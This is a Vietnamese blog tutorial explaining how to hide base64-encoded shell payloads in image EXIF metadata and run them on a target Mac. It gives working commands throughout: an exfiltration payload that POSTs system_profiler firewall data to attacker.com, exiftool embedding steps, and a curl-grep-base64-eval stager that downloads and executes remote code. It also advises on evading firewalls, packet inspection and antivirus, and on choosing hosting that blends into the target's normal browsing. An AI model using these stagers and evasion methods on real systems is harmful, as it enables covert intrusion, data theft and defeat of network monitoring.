Kỹ thuật Payload là gì?

Cách giấu Payload bên vào Metadata của File ảnh

Các tập lệnh shell phức tạp có thể được giấu hoặc ẩn payload vào metadata ảnh và sau đó được sử dụng để khai thác MacBook. Ngoài việc làm ẩn giấu bản chất thực sự của một cuộc tấn công, kỹ thuật này có thể được sử dụng để tránh tường lửa mạng cũng như các hệ thống cảnh giác khác.

Trong trường hợp tấn công này, một lệnh độc hại sẽ được nhúng trực tiếp vào metadata EXIF của tệp hình ảnh. Kẻ tấn công sẽ lưu trữ hình ảnh độc hại trên một trang web công khai như Flickr, khiến cho bất kỳ ai cũng có thể tải xuống. Sau đó, một stager sẽ được tạo để tải xuống hình ảnh, trích xuất metadata và thực hiện lệnh nhúng.

Để dễ hiểu hơn, việc nhấp đúp vào tệp hình ảnh sẽ không làm cho lệnh nhúng thực thi. Đó là một kiểu tấn công khác trong macOS. Thay vào đó, lệnh sẽ được ẩn trong metadata của ảnh và được sử dụng như một hệ thống phân phối payload.

Stager và payload là hai khía cạnh khác nhau của cuộc tấn công. Stager được thiết kế để tải xuống hình ảnh và thực thi payload được nhúng, trong khi payload là code (được nhúng trong hình ảnh) được thiết kế để thực hiện một hoặc nhiều lệnh.

Tại sao lại giấu Payload vào ảnh?

Tại sao lại cần nhúng payload nếu kẻ tấn công đã sẵn sàng thực thi code trên MacBook của mục tiêu? Về cơ bản, nó liên quan đến các mức độ tấn công khác nhau. Ngoài ra, dung lượng có thể khá nhỏ, chỉ dài khoảng 100 ký tự, làm cho chúng thực thi nhanh hơn với một cuộc tấn công USB Rubber Ducky hoặc MouseJack chẳng hạn.

Trong hầu hết các tình huống, không cần ẩn payload bên trong tệp hình ảnh. Tuy nhiên, trong các môi trường bảo mật cao, nơi mọi domain được ghi lại bằng phần mềm tường lửa, việc che giấu nội dung và nguồn gốc của payload có thể có lợi.

1. Firewall Evasion

Với phần mềm như pfSense , mọi domain và địa chỉ IP mà mỗi thiết bị trên mạng truy cập đều được ghi lại. Với các phần mềm thương mại như tường lửa FortiGate của Fortinet , mỗi gói tin có thể được mổ xẻ kỹ lưỡng để phân tích. Những loại tường lửa này gây khó khăn cho kẻ tấn công sử dụng các kết nối TCP đơn giản được thiết lập với Netcat để tồn tại trên thiết bị bị xâm nhập hoặc lập bản đồ mạng một cách bí mật.

Việc sử dụng hình ảnh để che giấu payload có thể gây khó khăn cho hệ thống giám sát lưu lượng truy cập trong việc xác định hoạt động đó là độc hại hay đáng ngờ.

2. Tránh kiểm soát sâu vào gói tin

Trong môi trường bảo mật, hệ điều hành có thể được định cấu hình để sử dụng các chứng chỉ tùy chỉnh, giúp quản trị viên mạng có thể giải mã dữ liệu đến và từ các thiết bị trên mạng. Với các công cụ như Wireshark , bạn có thể biên dịch các luồng TCP và tạo lại các tệp hình ảnh bằng cách sử dụng dữ liệu được chụp thô.

3. Chống virus

Phiên bản cao cấp của phần mềm chống vi-rút Avast và AVG có thể phân tích và phát hiện một số loại lỗi và payload nhất định. Ví dụ, phần mềm AV có thể xác định hầu hết các lỗi do Empire tạo ra. Với môi trường mạng cứng, nó có thể yêu cầu mức độ xáo trộn cao để tránh các chữ ký bị phát hiện. Việc sử dụng các phần mềm gián đoạn có thể khiến phần mềm AV khó phát hiện bản chất thực sự của một tệp cụ thể.

Các công cụ được sử dụng

Trước khi tiếp tục, bạn nên tìm hiểu với các công cụ như curl, system_profiler, exiftool, grepBash scripting.

Bước 1: Tải ảnh

Để bắt đầu, hãy tải ảnh sẽ được sử dụng trong cuộc tấn công. Stager (ở bước sau) sẽ không thực sự lưu ảnh vào máy tính của mục tiêu, vì vậy nó không cần phải là ảnh của bất kỳ thứ gì có liên quan đến mục tiêu. Với mục đích là hướng dẫn, bạn có thể sử dụng ảnh hồ sơ Twitter, ảnh này có thể được tải xuống bằng wget và lưu ( -O ) vào thư mục /tmp.

~$ wget 'https://pbs.twimg.com/profile_images/944123132478189568/tgQESxWF_400x400.jpg' -O image.jpg

--2019-05-15 06:50:22--  https://pbs.twimg.com/profile_images/944123132478189568/tgQESxWF_400x400.jpg
Resolving pbs.twimg.com (pbs.twimg.com)... 72.21.91.70, 2606:2800:220:1410:489:141e:20bb:12f6
Connecting to pbs.twimg.com (pbs.twimg.com)|72.21.91.70|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19316 (19K) [image/jpeg]
Saving to: ‘image.jpg’

image.jpg                100%[=================================>]  18.86K  64.4KB/s    in 0.3s

2019-05-02 06:50:25 (64.4 KB/s) - ‘image.jpg’ saved [19316/19316]

Bước 2: Tạo Payload

Đối với ví dụ này, trước tiên chúng ta sẽ học cách thực thi một lệnh touch đơn giản . Khi stager thực thi payload được nhúng trong ảnh, nó sẽ tạo ra một tệp trống trên màn hình macOS được gọi là “hacked”.

Đầu tiên, sử dụng printf, base64tr để mã hóa payload. Base64 sẽ mã hóa chuỗi, trong khi tr sẽ xóa (-d) dòng mới (\n). Bạn phải luôn đặt payload (touch ~/Desktop/hacked) trong dấu ngoặc kép.

~$ printf 'touch ~/Desktop/hacked' | base64 | tr -d '\n'

dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==

Một payload phức tạp hơn, bao gồm lệnh system_profiler của macOS , có thể được sử dụng để thực hiện các cuộc tấn công nhận thức tình huống cũng như chuyển đầu ra của lệnh tới máy chủ của kẻ tấn công.

~$ printf 'd=$(system_profiler SPFirewallDataType);curl -s --data "$d" -X POST http://attacker.com/index.php' | base64 | tr -d '\n'

ZD0kKHN5c3RlbV9wcm9maWxlciBTUEZpcmV3YWxsRGF0YVR5cGUpO2N1cmwgLXMgLS1kYXRhICIkZCIgLVggUE9TVCBodHRwOi8vYXR0YWNrZXIuY29tL2luZGV4LnBocA==

Tiến thêm một bước nữa, có thể mã hóa toàn bộ tập lệnh Bash đã được nén thành một dòng. Trong các thử nghiệm của mình, dường như không có giới hạn về số lượng ký tự có thể được nhúng vào thẻ metadata.

~$ cat /path/to/any_script.sh | base64 | tr -d '\n'

ZnVuY3Rpb24gZXhlY19oYWNrKCkgeyAvdXNyL2Jpbi90b3VjaCB+L0Rlc2t0b3AvaGFja2VkOyB9O2V4ZWNfaGFjawo=

Bước 3: Nhúng payload vào ảnh

Để nhúng payload được mã hóa vào ảnh, hãy cài đặt exiftool.

~$ apt-get update && apt-get install exiftool -V

Reading package lists... Done
Building dependency tree
Reading state information... Done
Note, selecting 'libimage-exiftool-perl' instead of 'exiftool'
The following NEW packages will be installed:
   libarchive-zip-perl (1.64-1)
   libimage-exiftool-perl (11.16-1)
   libmime-charset-perl (1.012.2-1)
   libposix-strptime-perl (0.13-1+b5)
   libsombok3 (2.4.0-2)
   libunicode-linebreak-perl (0.0.20190101-1)
0 upgraded, 6 newly installed, 0 to remove and 0 not upgraded.
Need to get 3,629 kB of archives.
After this operation, 21.0 MB of additional disk space will be used.
Do you want to continue? [Y/n]

Sau đó, xóa tất cả metadata EXIF có thể có trong hình ảnh.

~$ exiftool -all= image.jpg
  1 image files updated

Sau đó, sử dụng exiftool để thêm thẻ metadata – thẻ này sẽ hoạt động với bất kỳ thẻ nào có sẵn – chứa payload được mã hóa. Thẻ Certificate được sử dụng trong phần này.

~$ exiftool -Certificate='dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==' image.jpg
  1 image files updated

Khi hoàn tất, hãy xác minh rằng thẻ Certificate đã được thêm đúng cách bằng lệnh exiftool sau đây. Lưu ý chuỗi mã hóa trên dòng 13.

~$ exiftool image.jpg

01  ExifTool Version Number         : 11.16
02  File Name                       : image.jpg
03  Directory                       : .
04  File Size                       : 21 kB
05  File Modification Date/Time     : 2019:05:02 06:50:57+00:00
06  File Access Date/Time           : 2019:05:02 06:50:57+00:00
07  File Inode Change Date/Time     : 2019:05:02 06:50:57+00:00
08  File Permissions                : rw-r--r--
09  File Type                       : JPEG
10  File Type Extension             : jpg
11  MIME Type                       : image/jpeg
12  XMP Toolkit                     : Image::ExifTool 11.16
13  Certificate                     : dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==
14  Image Width                     : 400
15  Image Height                    : 400
16  Encoding Process                : Progressive DCT, Huffman coding
17  Bits Per Sample                 : 8
18  Color Components                : 3
19  Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
20  Image Size                      : 400x400
21  Megapixels                      : 0.160

Bước 4 Tải ảnh lên web

Tìm một trang web phù hợp là một việc rất khó khăn.

Tránh khử trùng dữ liệu EXIF

Nhiều trang web phổ biến như Twitter, Imgur và Instagram tự động xóa metadata khỏi ảnh khi được tải lên, điều này được thực hiện chủ yếu để bảo vệ người dùng khỏi việc vô tình tải lên ảnh có tọa độ GPS cho phép kẻ gian tìm thấy người dùng.

Ảnh chứa payloads sẽ bị xóa khi tải lên các trang web chính thống. Trang web tải lên sẽ phải được kiểm tra theo cách thủ công bằng cách tải ảnh lên trước, sau đó tải xuống và sử dụng exiftool để xem liệu payloads được nhúng có còn nguyên vẹn hay không.

Mã hóa trang web

Bảo mật lớp truyền tải là điều cần thiết để ngăn chặn cuộc tấn công này. Trang web được sử dụng để lưu trữ hình ảnh nên sử dụng HTTPS, điều này sẽ giúp ngăn các sysadmins phân tích yêu cầu GET.

Lưu lượng truy cập web bất thường

Lý tưởng nhất là trang web được sử dụng trong cuộc tấn công sẽ được mục tiêu truy cập thường xuyên. Ví dụ: nếu mục tiêu truy cập một trang web tin tức cụ thể vào mỗi buổi sáng, thì việc truy cập vào domain này sẽ không có vẻ đáng ngờ đối với các sysadmins theo dõi lưu lượng truy cập trên mạng. Mặt khác, một yêu cầu GET bất thường đối với một trang web nước ngoài hoặc trang web người lớn có thể sẽ làm dấy lên một số dấu hiệu đỏ. Loại thông tin này có thể được liệt kê trong giai đoạn do thám với các gói tin được chụp bí mật. Điều quan trọng là làm cho lưu lượng truy cập giống với hành vi web của mục tiêu càng bình thường càng tốt.

Bước 5 Tạo Stager

Trong những nỗ lực trích xuất metadata từ hình ảnh bằng các công cụ macOS gốc, dường như không có công cụ nào có khả năng truy cập hoặc hiển thị chuỗi cụ thể (“Certificate”) của metadata EXIF được nhúng trong ảnh. May mắn thay, grep có tùy chọn -a cho phép nó xử lý các tệp nhị phân (tức là hình ảnh) như thể chúng là văn bản rõ ràng, cho phép nó tìm thấy chuỗi “Certificate” trong metadata.

Dưới đây là ví dụ về stager có thể được sử dụng để tải xuống hình ảnh, giải nén và giải mã payloads, sau đó thực thi (các) lệnh.

~$ p=$(curl -s https://website.com/image.jpg | grep Cert -a | sed 's/<[^>]*>//g' | base64 -D);eval $p

Mình sẽ chia nhỏ từng phần để các bạn dễ hiểu hơn:

  • p=$(…) – Hầu hết stager được đặt trong một biến gọi là “p” (hay còn gọi là payload), được thực hiện chủ yếu để giữ cho hình ảnh không được lưu trực tiếp vào ổ cứng macOS của mục tiêu.
  • curl -s https://website.com/image.jpg – Curl được sử dụng ở đây để âm thầm (-s) tải xuống hình ảnh có chứa payload từ một trang web mà kẻ tấn công lựa chọn. Hình ảnh ngay lập tức được đưa (|) vào lệnh grep sau.
  • grep Cert -a – Grep sẽ lấy dữ liệu hình ảnh thô, xử lý nó dưới dạng bản thuần(-a) trong khi tìm kiếm chuỗi “Cert”. Đầu ra đó sẽ xuất hiện trong hình dưới đây.
  • sed ‘s/<[^>]*>//g’ – Kết quả ở trên ngay lập tức được đưa vào lệnh sed này. Sed sẽ xóa tất cả dữ liệu XML xung quanh (tức là <xmpRights> </xmpRights>), chỉ để lại chuỗi được mã hóa.
  • base64 -D – Chuỗi được mã hóa được đưa vào lệnh base64 này, cuối cùng nó được giải mã bằng tùy chọn -D, biến $p trở thành payload được giải mã.
  • eval $p – Cuối cùng, eval được sử dụng để đánh giá biến dưới dạng một lệnh, thực thi payload ở dạng biến của nó một cách hiệu quả.

Chúng ta có thể xác minh cuộc tấn công đã được thực hiện thành công bằng cách tìm tệp “hacked” trên máy tính macOS.

Một lần nữa, đây là một payload rất đơn giản. Các cuộc tấn công tinh vi hơn có thể liên quan đến việc kết xuất mật khẩu trình duyệt tự động, nghe trộm micrô, leo thang đặc quyền, đánh cắp mật khẩu sudo,…

Tác giả: Jos Hoàng Tiên
Hãy mua cho mình một cuốn notebook và một cây bút kể cả khi bạn là dân coder.